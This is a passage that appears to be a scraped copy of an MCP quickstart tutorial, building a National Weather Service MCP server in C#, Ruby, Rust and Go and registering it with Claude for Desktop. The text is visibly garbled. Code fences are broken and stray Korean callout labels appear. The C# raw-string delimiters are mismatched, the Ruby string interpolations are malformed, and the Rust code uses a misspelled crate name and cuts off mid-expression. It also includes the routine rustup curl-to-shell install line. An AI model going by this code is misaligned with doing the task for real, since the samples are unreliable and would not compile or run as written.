Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](<https://github.com/modelcontextprotocol/csharp-sdk/tree/main/samples/QuickstartWeatherServer>)

### Prerequisite knowledge

This quickstart assumes you have familiarity with:

- C#
- LLMs like Claude
- .NET 8 or higher

### Logging in MCP Servers

When implementing MCP servers, be careful about how you handle logging:

**For STDIO-based servers:** Never use ``Console.WriteLine()`` or ``Console.Write()``, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.

**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.

### Best Practices

- Use a logging library that writes to stderr or files.

```
System requirements
```

```
- [.NET 8 SDK](https://dotnet.microsoft.com/download/dotnet/8.0) or higher installed.
```

```
Set up your environment
```

First, let's install `dotnet` if you haven't already. You can download `dotnet` from [official Microsoft .NET website](https://dotnet.microsoft.com/download/). Verify your `dotnet` installation:

```
```bash
dotnet --version
```

Now, let's create and set up your project:

```
```bash macOS/Linux
```

## Create a new directory for our project

---

```
mkdir weather cd weather
```

## Initialize a new C# project

---

```
dotnet new console
```

```
```powershell Windows
# Create a new directory for our project
mkdir weather
cd weather
# Initialize a new C# project
dotnet new console
```

After running `dotnet new console`, you will be presented with a new C# project. You can open the project in your favorite IDE, such as [Visual Studio](#) or [Rider](#). Alternatively, you can create a C# application using the [Visual Studio project wizard](#). After creating the project, add NuGet package for the Model Context Protocol SDK and hosting:

```
# Add the Model Context Protocol SDK NuGet package
dotnet add package ModelContextProtocol --prerelease
# Add the .NET Hosting NuGet package
dotnet add package Microsoft.Extensions.Hosting
```

Now let's dive into building your server.

Building your server

Open the `Program.cs` file in your project and replace its contents with the following code:

```
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using ModelContextProtocol;
using System.Net.Http.Headers;

var builder = Host.CreateEmptyApplicationBuilder(settings: null);

builder.Services.AddMcpServer()
    .WithStdioServerTransport()
    .WithToolsFromAssembly();

builder.Services.AddSingleton(_ =>
{
    var client = new HttpClient() { BaseAddress = new Uri("https://api.weather.gov") };
    client.DefaultRequestHeaders.UserAgent.Add(new ProductInfoHeaderValue("weather-tool", "1.0"));
    return client;
});

var app = builder.Build();

await app.RunAsync();
```

참고

When creating the `ApplicationHostBuilder`, ensure you use `CreateEmptyApplicationBuilder` instead of `CreateDefaultBuilder`. This ensures that the server does not write any additional messages to the console. This is only necessary for servers using STDIO transport.

This code sets up a basic console application that uses the Model Context Protocol SDK to create an MCP server with standard I/O transport.

Weather API helper functions

Create an extension class for `HttpClient` which helps simplify JSON request handling:

```
using System.Text.Json;

internal static class HttpClientExt
{
    public static async Task<JsonDocument> ReadJsonDocumentAsync(this HttpClient client, string requestUri)
    {
```

```

        using var response = await client.GetAsync(requestUri);
        response.EnsureSuccessStatusCode();
        return await JsonDocument.ParseAsync(await response.Content.ReadAsStreamAsync());
    }
}

```

Next, define a class with the tool execution handlers for querying and converting responses from the National Weather Service API:

```

using ModelContextProtocol.Server;
using System.ComponentModel;
using System.Globalization;
using System.Text.Json;

namespace QuickstartWeatherServer.Tools;

[McpServerToolType]
public static class WeatherTools
{
    [McpServerTool, Description("Get weather alerts for a US state code.")]
    public static async Task<string> GetAlerts(
        HttpClient client,
        [Description("The US state code to get alerts for.")] string state)
    {
        using var jsonDocument = await client.ReadJsonDocumentAsync($" /alerts/active/area/{state}");
        var jsonElement = jsonDocument.RootElement;
        var alerts = jsonElement.GetProperty("features").EnumerateArray();

        if (!alerts.Any())
        {
            return "No active alerts for this state.";
        }

        return string.Join("\n--\n", alerts.Select(alert =>
        {
            JsonElement properties = alert.GetProperty("properties");
            return $$$$
                Event: {properties.GetProperty("event").GetString()}
                Area: {properties.GetProperty("areaDesc").GetString()}
                Severity: {properties.GetProperty("severity").GetString()}
                Description: {properties.GetProperty("description").GetString()}
                Instruction: {properties.GetProperty("instruction").GetString()}
                $$$;
        }));
    }

    [McpServerTool, Description("Get weather forecast for a location.")]
    public static async Task<string> GetForecast(
        HttpClient client,

```

```

[Description("Latitude of the location.")] double latitude,
[Description("Longitude of the location.")] double longitude)
{
    var pointUrl = string.Create(CultureInfo.InvariantCulture, $"/points/{latitude},{longitude}");
    using var jsonDocument = await client.ReadJsonDocumentAsync(pointUrl);
    var forecastUrl = jsonDocument.RootElement.GetProperty("properties").GetProperty("forecast").GetString()
        ?? throw new Exception($"No forecast URL provided by {client.BaseAddress}points/{latitude},{longitude}");

    using var forecastDocument = await client.ReadJsonDocumentAsync(forecastUrl);
    var periods = forecastDocument.RootElement.GetProperty("properties").GetProperty("periods").EnumerateArray();

    return string.Join("\n---\n", periods.Select(period => $"""
        {period.GetProperty("name").GetString()}
        Temperature: {period.GetProperty("temperature").GetInt32()}°F
        Wind: {period.GetProperty("windSpeed").GetString()} {period.GetProperty("windDirection").GetString()}
        Forecast: {period.GetProperty("detailedForecast").GetString()}
        """));
}
}

```

Running the server

Finally, run the server using the following command:

```
dotnet run
```

This will start the server and listen for incoming requests on standard input/output.

Testing your server with Claude for Desktop

First, make sure you have Claude for Desktop installed. [You can install the latest version here.](#) If you already have Claude for Desktop, **make sure it's updated to the latest version.** We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist. For example, if you have [VS Code](#) installed:

```
```bash Linux code ~/.config/Claude/claude_desktop_config.json
```

```
```bash macOS
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```



```
```powershell Windows code $env:AppData\Claude\claude_desktop_config.json
```

You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured. In this case, we'll add our single weather server like so:

```
```json macOS/Linux
{
  "mcpServers": {
    "weather": {
      "command": "dotnet",
      "args": ["run", "--project", "/ABSOLUTE/PATH/TO/PROJECT", "--no-build"]
    }
  }
}
```

```
```json Windows { "mcpServers": { "weather": { "command": "dotnet", "args": [ "run", "--project",
"C:\ABSOLUTE\PATH\TO\PROJECT", "--no-build"] } } }
```

This tells Claude for Desktop:

1. There's an MCP server named "weather"
2. Launch it by running `dotnet run /ABSOLUTE/PATH/TO/PROJECT`  
Save the file, and restart **Claude for Desktop**.

**Ruby**

Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](<https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-ruby>)

### Prerequisite knowledge

This quickstart assumes you have familiarity with:

- Ruby
- LLMs like Claude

### Logging in MCP Servers

When implementing MCP servers, be careful about how you handle logging:

**For STDIO-based servers:** Never use `puts` or `print`, as they write to standard output (stdout) by default. Writing to stdout will corrupt the JSON-RPC messages and break your server.

**For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.

### ### Best Practices

- Use a logging library that writes to stderr or files.

### ### Quick Examples

```
```ruby
# ❌ Bad (STDIO)
puts "Processing request"

# ✅ Good (STDIO)
require "logger"
logger = Logger.new($stderr)
logger.info("Processing request")
```

System requirements

- Ruby 2.7 or higher installed.

Set up your environment

First, let's make sure you have Ruby installed. You can check by running:

```
ruby --version
```

Now, let's create and set up our project:

```
```bash macOS/Linux
```

## Create a new directory for our project

---

```
mkdir weather cd weather
```

## Create a Gemfile

---

```
bundle init
```

## Add the MCP SDK dependency

---

```
bundle add mcp
```

# Create our server file

---

touch weather.rb

```
```powershell Windows
# Create a new directory for our project
mkdir weather
cd weather

# Create a Gemfile
bundle init

# Add the MCP SDK dependency
bundle add mcp

# Create our server file
new-item weather.rb
```

Now let's dive into building your server.

Building your server

Importing packages and setting up constants

Open `weather.rb` and add these requires and constants at the top:

```
require "json"
require "mcp"
require "net/http"
require "uri"

NWS_API_BASE = "https://api.weather.gov"
USER_AGENT = "weather-app/1.0"
```

The `mcp` gem provides the Model Context Protocol SDK for Ruby, with classes for server implementation and stdio transport.

Helper methods

Next, let's add helper methods for querying and formatting data from the National Weather Service API:

```
module HelperMethods
  def make_nws_request(url)
    uri = URI(url)
```

```

request = Net::HTTP::Get.new(uri)
request["User-Agent"] = USER_AGENT
request["Accept"] = "application/geo+json"

response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) do |http|
  http.request(request)
end

raise "HTTP #{response.code}: #{response.message}" unless response.is_a?(Net::HTTPSuccess)

JSON.parse(response.body)
end

def format_alert(feature)
  properties = feature["properties"]

  <<~ALERT
    Event: #{properties["event"]} || "Unknown"}
    Area: #{properties["areaDesc"]} || "Unknown"}
    Severity: #{properties["severity"]} || "Unknown"}
    Description: #{properties["description"]} || "No description available"}
    Instructions: #{properties["instruction"]} || "No specific instructions provided"}
  ALERT
end
end

```

Implementing tool execution

Now let's define our tool classes. Each tool subclasses `MCP::Tool` and implements the tool logic:

```

class GetAlerts < MCP::Tool
  extend HelperMethods

  tool_name "get_alerts"
  description "Get weather alerts for a US state"
  input_schema(
    properties: {
      state: {
        type: "string",
        description: "Two-letter US state code (e.g. CA, NY)"
      }
    },
    required: ["state"]
  )

  def self.call(state:)
    url = "#{NWS_API_BASE}/alerts/active/area/#{state.upcase}"
    data = make_nws_request(url)

    if data["features"].empty?

```

```

return MCP::Tool::Response.new([{
  type: "text",
  text: "No active alerts for this state."
}])
end

  alerts = data["features"].map { |feature| format_alert(feature) }
  MCP::Tool::Response.new([{
    type: "text",
    text: alerts.join("\n---\n")
  }])
end
end

class GetForecast < MCP::Tool
  extend HelperMethods

  tool_name "get_forecast"
  description "Get weather forecast for a location"
  input_schema(
    properties: {
      latitude: {
        type: "number",
        description: "Latitude of the location"
      },
      longitude: {
        type: "number",
        description: "Longitude of the location"
      }
    },
    required: ["latitude", "longitude"]
  )

  def self.call(latitude:, longitude:)
    # First get the forecast grid endpoint.
    points_url = "#{NWS_API_BASE}/points/#{latitude},#{longitude}"
    points_data = make_nws_request(points_url)

    # Get the forecast URL from the points response.
    forecast_url = points_data["properties"]["forecast"]
    forecast_data = make_nws_request(forecast_url)

    # Format the periods into a readable forecast.
    periods = forecast_data["properties"]["periods"]
    forecasts = periods.first(5).map do |period|
      <<~FORECAST
      #{period["name"]}:
      Temperature: #{period["temperature"]}°#{period["temperatureUnit"]}
      Wind: #{period["windSpeed"]} #{period["windDirection"]}
      Forecast: #{period["detailedForecast"]}
    FORECAST
  end
end

```

```

end

MCP::Tool::Response.new([
  type: "text",
  text: forecasts.join("\n---\n")
]))
end
end

```

Running the server

Finally, initialize and run the server:

```

server = MCP::Server.new(
  name: "weather",
  version: "1.0.0",
  tools: [GetAlerts, GetForecast]
)

transport = MCP::Server::Transports::StdioTransport.new(server)
transport.open

```

Your server is complete! Run `bundle exec ruby weather.rb` to start the MCP server, which will listen for messages from MCP hosts.

Let's now test your server from an existing MCP host, Claude for Desktop.

Testing your server with Claude for Desktop

First, make sure you have Claude for Desktop installed. [You can install the latest version here.](#) If you already have Claude for Desktop, **make sure it's updated to the latest version.**

We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.

For example, if you have [VS Code](#) installed:

```
```bash Linux code ~/.config/Claude/claude_desktop_config.json
```

```
```bash macOS
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```

```
```powershell Windows code $env:AppData\Claude\claude_desktop_config.json
```

You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.

In this case, we'll add our single weather server like so:

```
```json macOS/Linux
{
  "mcpServers": {
    "weather": {
      "command": "bundle",
      "args": ["exec", "ruby", "weather.rb"],
      "cwd": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather"
    }
  }
}
```

```
```json Windows { "mcpServers": { "weather": { "command": "bundle", "args": ["exec", "ruby",
"weather.rb"], "cwd": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather" } } }
```

```
<div class="callout note" markdown="1">
```

```
<p class="callout-label">참고</p>
```

Make sure you pass in the absolute path to your project directory in the `cwd` field. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path.

```
</div>
```

This tells Claude for Desktop:

1. There's an MCP server named "weather"
2. Launch it by running `bundle exec ruby weather.rb` in the specified directory

Save the file, and restart **Claude for Desktop**.

**\*\*Rust\*\***

Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](<https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-rust>)

### Prerequisite knowledge

This quickstart assumes you have familiarity with:

- Rust programming language
- Async/await in Rust
- LLMs like Claude

### ### Logging in MCP Servers

When implementing MCP servers, be careful about how you handle logging:

**\*\*For STDIO-based servers:\*\*** Never use ``println!()`` or ``print!()``, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.

**\*\*For HTTP-based servers:\*\*** Standard output logging is fine since it doesn't interfere with HTTP responses.

### ### Best Practices

- Use a logging library that writes to stderr or files, such as ``tracing`` or ``log`` in Rust.
- Configure your logging framework to avoid stdout output.

### ### Quick Examples

```
```rust
// ❌ Bad (STDIO)
println!("Processing request");

// ✅ Good (STDIO)
eprintln!("Processing request"); // writes to stderr
```

System requirements

- Rust 1.70 or higher installed.
- Cargo (comes with Rust installation).

Set up your environment

First, let's install Rust if you haven't already. You can install Rust from rust-lang.org:

```
```bash
macOS/Linux curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```

```
```powershell
Windows
# Download and run rustup-init.exe from https://rustup.rs/
```

Verify your Rust installation:

```
rustc --version
cargo --version
```


Now, let's create and set up our project:

```
```bash macOS/Linux
```

## Create a new Rust project

---

```
cargo new weather cd weather
```

```
```powershell Windows
# Create a new Rust project
cargo new weather
cd weather
```

Update your `Cargo.toml` to add the required dependencies:

```
```toml Cargo.toml [package] name = "weather" version = "0.1.0" edition = "2024"
```

```
[dependencies] rmcp = { version = "0.3", features = ["server", "macros", "transport-io"] } tokio = {
version = "1.46", features = ["full"] } reqwest = { version = "0.12", features = ["json"] } serde = {
version = "1.0", features = ["derive"] } serde_json = "1.0" anyhow = "1.0" tracing = "0.1" tracing-
subscriber = { version = "0.3", features = ["env-filter", "std", "fmt"] }
```

Now let's dive into building your server.

## Building your server

### Importing packages and constants

Open `src/main.rs` and add these imports and constants at the top:

```
```rust
use anyhow::Result;
use rmcp::{
    ServerHandler, ServiceExt,
    handler::server::{router::tool::ToolRouter, tool::Parameters},
    model::*,
    schemars, tool, tool_handler, tool_router,
};
use serde::Deserialize;
use serde::de::DeserializeOwned;

const NWS_API_BASE: &str = "https://api.weather.gov";
const USER_AGENT: &str = "weather-app/1.0";
```

The `rmcp` crate provides the Model Context Protocol SDK for Rust, with features for server implementation, procedural macros, and stdio transport.

Data structures

Next, let's define the data structures for deserializing responses from the National Weather Service API:

```
#[derive(Debug, Deserialize)]
struct AlertsResponse {
    features: Vec<AlertFeature>,
}

#[derive(Debug, Deserialize)]
struct AlertFeature {
    properties: AlertProperties,
}

#[derive(Debug, Deserialize)]
struct AlertProperties {
    event: Option<String>,
    #[serde(rename = "areaDesc")]
    area_desc: Option<String>,
    severity: Option<String>,
    description: Option<String>,
    instruction: Option<String>,
}

#[derive(Debug, Deserialize)]
struct PointsResponse {
    properties: PointsProperties,
}

#[derive(Debug, Deserialize)]
struct PointsProperties {
    forecast: String,
}

#[derive(Debug, Deserialize)]
struct ForecastResponse {
    properties: ForecastProperties,
}

#[derive(Debug, Deserialize)]
struct ForecastProperties {
    periods: Vec<ForecastPeriod>,
}

#[derive(Debug, Deserialize)]
struct ForecastPeriod {
```

```

name: String,
temperature: i32,
#[serde(rename = "temperatureUnit")]
temperature_unit: String,
#[serde(rename = "windSpeed")]
wind_speed: String,
#[serde(rename = "windDirection")]
wind_direction: String,
#[serde(rename = "detailedForecast")]
detailed_forecast: String,
}

```

Now define the request types that MCP clients will send:

```

#[derive(serde::Deserialize, schemars::JsonSchema)]
pub struct MCPForecastRequest {
    latitude: f32,
    longitude: f32,
}

#[derive(serde::Deserialize, schemars::JsonSchema)]
pub struct MCPAlertRequest {
    state: String,
}

```

Helper functions

Add helper functions for making API requests and formatting responses:

```

async fn make_nws_request<T: DeserializeOwned>(url: &str) -> Result<T> {
    let client = request::Client::new();
    let rsp = client
        .get(url)
        .header(request::header::USER_AGENT, USER_AGENT)
        .header(request::header::ACCEPT, "application/geo+json")
        .send()
        .await?
        .error_for_status()?;
    Ok(rsp.json:::<T>().await?)
}

fn format_alert(feature: &AlertFeature) -> String {
    let props = &feature.properties;
    format!(
        "Event: {}\nArea: {}\nSeverity: {}\nDescription: {}\nInstructions: {}",
        props.event.as_deref().unwrap_or("Unknown"),
        props.area_desc.as_deref().unwrap_or("Unknown"),
        props.severity.as_deref().unwrap_or("Unknown"),
        props
    )
}

```

```

        .description
        .as_deref()
        .unwrap_or("No description available"),
    props
        .instruction
        .as_deref()
        .unwrap_or("No specific instructions provided")
    )
}

fn format_period(period: &ForecastPeriod) -> String {
    format!(
        "{}:\nTemperature: {}°{}\nWind: {} {}\nForecast: {}",
        period.name,
        period.temperature,
        period.temperature_unit,
        period.wind_speed,
        period.wind_direction,
        period.detailed_forecast
    )
}

```

Implementing the Weather server and tools

Now let's implement the main Weather server struct with the tool handlers:

```

pub struct Weather {
    tool_router: ToolRouter<Weather>,
}

#[tool_router]
impl Weather {
    fn new() -> Self {
        Self {
            tool_router: Self::tool_router(),
        }
    }

    #[tool(description = "Get weather alerts for a US state.")]
    async fn get_alerts(
        &self,
        Parameters(MCPAlertRequest { state }): Parameters<MCPAlertRequest>,
    ) -> String {
        let url = format!(
            "{}/alerts/active/area/{}",
            NWS_API_BASE,
            state.to_uppercase()
        );

        match make_nws_request::<AlertsResponse>(&url).await {

```

```

Ok(data) => {
  if data.features.is_empty() {
    "No active alerts for this state.".to_string()
  } else {
    data.features
      .iter()
      .map(format_alert)
      .collect::

```

The `#[tool_router]` macro automatically generates the routing logic, and the `#[tool]` attribute marks methods as MCP tools.

Implementing the ServerHandler

Implement the `ServerHandler` trait to define server capabilities:

```
#[tool_handler]
impl ServerHandler for Weather {
    fn get_info(&self) -> ServerInfo {
        ServerInfo {
            capabilities: ServerCapabilities::builder().enable_tools().build(),
            ..Default::default()
        }
    }
}
```

Running the server

Finally, implement the main function to run the server with stdio transport:

```
#[tokio::main]
async fn main() -> Result<(),> {
    let transport = (tokio::io::stdin(), tokio::io::stdout());
    let service = Weather::new().serve(transport).await?;
    service.waiting().await?;
    Ok(())
}
```

Build your server with:

```
cargo build --release
```

The compiled binary will be in `target/release/weather`.

Let's now test your server from an existing MCP host, Claude for Desktop.

Testing your server with Claude for Desktop

First, make sure you have Claude for Desktop installed. [You can install the latest version here](#). If you already have Claude for Desktop, **make sure it's updated to the latest version**.

We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.

For example, if you have [VS Code](#) installed:

```
```bash
Linux code ~/.config/Claude/claude_desktop_config.json
```

```
```bash macOS
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```

```
```powershell Windows code $env:AppData\Claude\claude_desktop_config.json
```

You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.

In this case, we'll add our single weather server like so:

```
```json macOS/Linux
{
  "mcpServers": {
    "weather": {
      "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/target/release/weather"
    }
  }
}
```

```
```json Windows { "mcpServers": { "weather": { "command":
"C:\ABSOLUTE\PATH\TO\PARENT\FOLDER\weather\target\release\weather.exe" } } }
```

```
<div class="callout note" markdown="1">
```

```
<p class="callout-label">참고</p>
```

Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.

```
</div>
```

This tells Claude for Desktop:

1. There's an MCP server named "weather"
2. Launch it by running the compiled binary at the specified path

Save the file, and restart **Claude for Desktop**.

**\*\*Go\*\***

Let's get started with building our weather server! [You can find the complete code for what we'll be building here.](<https://github.com/modelcontextprotocol/quickstart-resources/tree/main/weather-server-go>)

### ### Prerequisite knowledge

This quickstart assumes you have familiarity with:

- Go
- LLMs like Claude

### ### Logging in MCP Servers

When implementing MCP servers, be careful about how you handle logging:

**\*\*For STDIO-based servers:\*\*** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.

**\*\*For HTTP-based servers:\*\*** Standard output logging is fine since it doesn't interfere with HTTP responses.

### ### Best Practices

- Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files.
- Use `fmt.Fprintln(os.Stderr, ...)` to write to stderr explicitly.

### ### Quick Examples

```
```go
// ❌ Bad (STDIO)
fmt.Println("Processing request")

// ✅ Good (STDIO)
log.Println("Processing request") // defaults to stderr

// ✅ Good (STDIO)
fmt.Fprintln(os.Stderr, "Processing request")
```

System requirements

- Go 1.24 or higher installed.

Set up your environment

First, let's install Go if you haven't already. You can download and install Go from go.dev.

Verify your Go installation:

```
go version
```

Now, let's create and set up our project:


```
```bash macOS/Linux
```

## Create a new directory for our project

---

```
mkdir weather cd weather
```

## Initialize Go module

---

```
go mod init weather
```

## Install dependencies

---

```
go get github.com/modelcontextprotocol/go-sdk/mcp
```

## Create our server file

---

```
touch main.go
```

```
```powershell Windows
# Create a new directory for our project
md weather
cd weather

# Initialize Go module
go mod init weather

# Install dependencies
go get github.com/modelcontextprotocol/go-sdk/mcp

# Create our server file
new-item main.go
```

Now let's dive into building your server.

Building your server

Importing packages and constants

Add these to the top of your `main.go`:

```

package main

import (
    "cmp"
    "context"
    "encoding/json"
    "fmt"
    "io"
    "log"
    "net/http"
    "strings"

    "github.com/modelcontextprotocol/go-sdk/mcp"
)

const (
    NWSAPIBase = "https://api.weather.gov"
    UserAgent  = "weather-app/1.0"
)

```

Data structures

Next, let's define the data structures used by our tools:

```

type PointsResponse struct {
    Properties struct {
        Forecast string `json:"forecast"`
    } `json:"properties"`
}

type ForecastResponse struct {
    Properties struct {
        Periods []ForecastPeriod `json:"periods"`
    } `json:"properties"`
}

type ForecastPeriod struct {
    Name           string `json:"name"`
    Temperature    int    `json:"temperature"`
    TemperatureUnit string `json:"temperatureUnit"`
    WindSpeed      string `json:"windSpeed"`
    WindDirection  string `json:"windDirection"`
    DetailedForecast string `json:"detailedForecast"`
}

type AlertsResponse struct {
    Features []AlertFeature `json:"features"`
}

```

```

type AlertFeature struct {
    Properties AlertProperties `json:"properties"`
}

type AlertProperties struct {
    Event      string `json:"event"`
    AreaDesc   string `json:"areaDesc"`
    Severity   string `json:"severity"`
    Description string `json:"description"`
    Instruction string `json:"instruction"`
}

type ForecastInput struct {
    Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"`
    Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"`
}

type AlertsInput struct {
    State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"`
}

```

Helper functions

Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:

```

func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) {
    req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
    if err != nil {
        return nil, fmt.Errorf("failed to create request: %w", err)
    }

    req.Header.Set("User-Agent", UserAgent)
    req.Header.Set("Accept", "application/geo+json")

    client := http.DefaultClient
    resp, err := client.Do(req)
    if err != nil {
        return nil, fmt.Errorf("failed to make request to %s: %w", url, err)
    }
    defer resp.Body.Close()

    if resp.StatusCode != http.StatusOK {
        body, _ := io.ReadAll(resp.Body)
        return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body))
    }

    var result T
    if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {

```

```

    return nil, fmt.Errorf("failed to decode response: %w", err)
}

    return &result, nil
}

func formatAlert(alert AlertFeature) string {
    props := alert.Properties
    event := cmp.Or(props.Event, "Unknown")
    areaDesc := cmp.Or(props.AreaDesc, "Unknown")
    severity := cmp.Or(props.Severity, "Unknown")
    description := cmp.Or(props.Description, "No description available")
    instruction := cmp.Or(props.Instruction, "No specific instructions provided")

    return fmt.Sprintf(`
Event: %s
Area: %s
Severity: %s
Description: %s
Instructions: %s
`, event, areaDesc, severity, description, instruction)
}

func formatPeriod(period ForecastPeriod) string {
    return fmt.Sprintf(`
%s:
Temperature: %d°%s
Wind: %s %s
Forecast: %s
`, period.Name, period.Temperature, period.TemperatureUnit,
    period.WindSpeed, period.WindDirection, period.DetailedForecast)
}

```

Implementing tool execution

The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:

```

func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) (
    *mcp.CallToolResult, any, error,
) {
    // Get points data
    pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude)
    pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL)
    if err != nil {
        return &mcp.CallToolResult{
            Content: []mcp.Content{
                &mcp.TextContent{Text: "Unable to fetch forecast data for this location."},
            },
        }, nil, nil
    }
}

```

```

// Get forecast data
forecastURL := pointsData.Properties.Forecast
if forecastURL == "" {
    return &mcp.CallToolResult{
        Content: []mcp.Content{
            &mcp.TextContent{Text: "Unable to fetch forecast URL."},
        },
    }, nil, nil
}

forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL)
if err != nil {
    return &mcp.CallToolResult{
        Content: []mcp.Content{
            &mcp.TextContent{Text: "Unable to fetch detailed forecast."},
        },
    }, nil, nil
}

// Format the periods
periods := forecastData.Properties.Periods
if len(periods) == 0 {
    return &mcp.CallToolResult{
        Content: []mcp.Content{
            &mcp.TextContent{Text: "No forecast periods available."},
        },
    }, nil, nil
}

// Show next 5 periods
var forecasts []string
for i := range min(5, len(periods)) {
    forecasts = append(forecasts, formatPeriod(periods[i]))
}

result := strings.Join(forecasts, "\n---\n")

return &mcp.CallToolResult{
    Content: []mcp.Content{
        &mcp.TextContent{Text: result},
    },
}, nil, nil
}

func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) (
    *mcp.CallToolResult, any, error,
) {
    // Build alerts URL
    stateCode := strings.ToUpper(input.State)
    alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode)

```

```

alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL)
if err != nil {
    return &mcp.CallToolResult{
        Content: []mcp.Content{
            &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."},
        },
    }, nil, nil
}

// Check if there are any alerts
if len(alertsData.Features) == 0 {
    return &mcp.CallToolResult{
        Content: []mcp.Content{
            &mcp.TextContent{Text: "No active alerts for this state."},
        },
    }, nil, nil
}

// Format alerts
var alerts []string
for _, feature := range alertsData.Features {
    alerts = append(alerts, formatAlert(feature))
}

result := strings.Join(alerts, "\n---\n")

return &mcp.CallToolResult{
    Content: []mcp.Content{
        &mcp.TextContent{Text: result},
    },
}, nil, nil
}

```

Running the server

Finally, implement the main function to run the server:

```

func main() {
    // Create MCP server
    server := mcp.NewServer(&mcp.Implementation{
        Name:      "weather",
        Version:   "1.0.0",
    }, nil)

    // Add get_forecast tool
    mcp.AddTool(server, &mcp.Tool{
        Name:      "get_forecast",
        Description: "Get weather forecast for a location",
    }, getForecast)
}

```

```
// Add get_alerts tool
mcp.AddTool(server, &mcp.Tool{
    Name:      "get_alerts",
    Description: "Get weather alerts for a US state",
}, getAlerts)

// Run server on stdio transport
if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil {
    log.Fatal(err)
}
}
```

Build your server with:

```
go build -o weather .
```

The compiled binary will be in `./weather`.

Let's now test your server from an existing MCP host, Claude for Desktop.

Testing your server with Claude for Desktop

First, make sure you have Claude for Desktop installed. [You can install the latest version here](#). If you already have Claude for Desktop, **make sure it's updated to the latest version**.

We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.

For example, if you have [VS Code](#) installed:

```
```bash Linux code ~/.config/Claude/claude_desktop_config.json
```

```
```bash macOS
code ~/Library/Application\ Support/Claude/claude_desktop_config.json
```

```
```powershell Windows code $env:AppData\Claude\claude_desktop_config.json
```

You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.

In this case, we'll add our single weather server like so:

```
```json macOS/Linux
```

```
{
  "mcpServers": {
    "weather": {
      "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather"
    }
  }
}
```

```
` ``json Windows { "mcpServers": { "weather": { "command":
"C:\ABSOLUTE\PATH\TO\PARENT\FOLDER\weather\weather.exe" } } }
```

```
<div class="callout note" markdown="1">
```

```
<p class="callout-label">참고</p>
```

Make sure you pass in the absolute path to your compiled binary. You can get this by running ``pwd`` on macOS/Linux or ``cd`` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (``\\``) or forward slashes (``/``) in the JSON path, and add the ``exe`` extension.

```
</div>
```

This tells Claude for Desktop:

1. There's an MCP server named "weather"
2. Launch it by running the compiled binary at the specified path

Save the file, and restart **Claude for Desktop**.

Test with commands

Let's make sure Claude for Desktop is picking up the two tools we've exposed in our ``weather`` server. You can do this by looking for the "Add files, connectors, and more /" 

```

```

After clicking on the plus icon, hover over the "Connectors" menu. You should see the ``weather`` servers listed:

```

```

If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips.

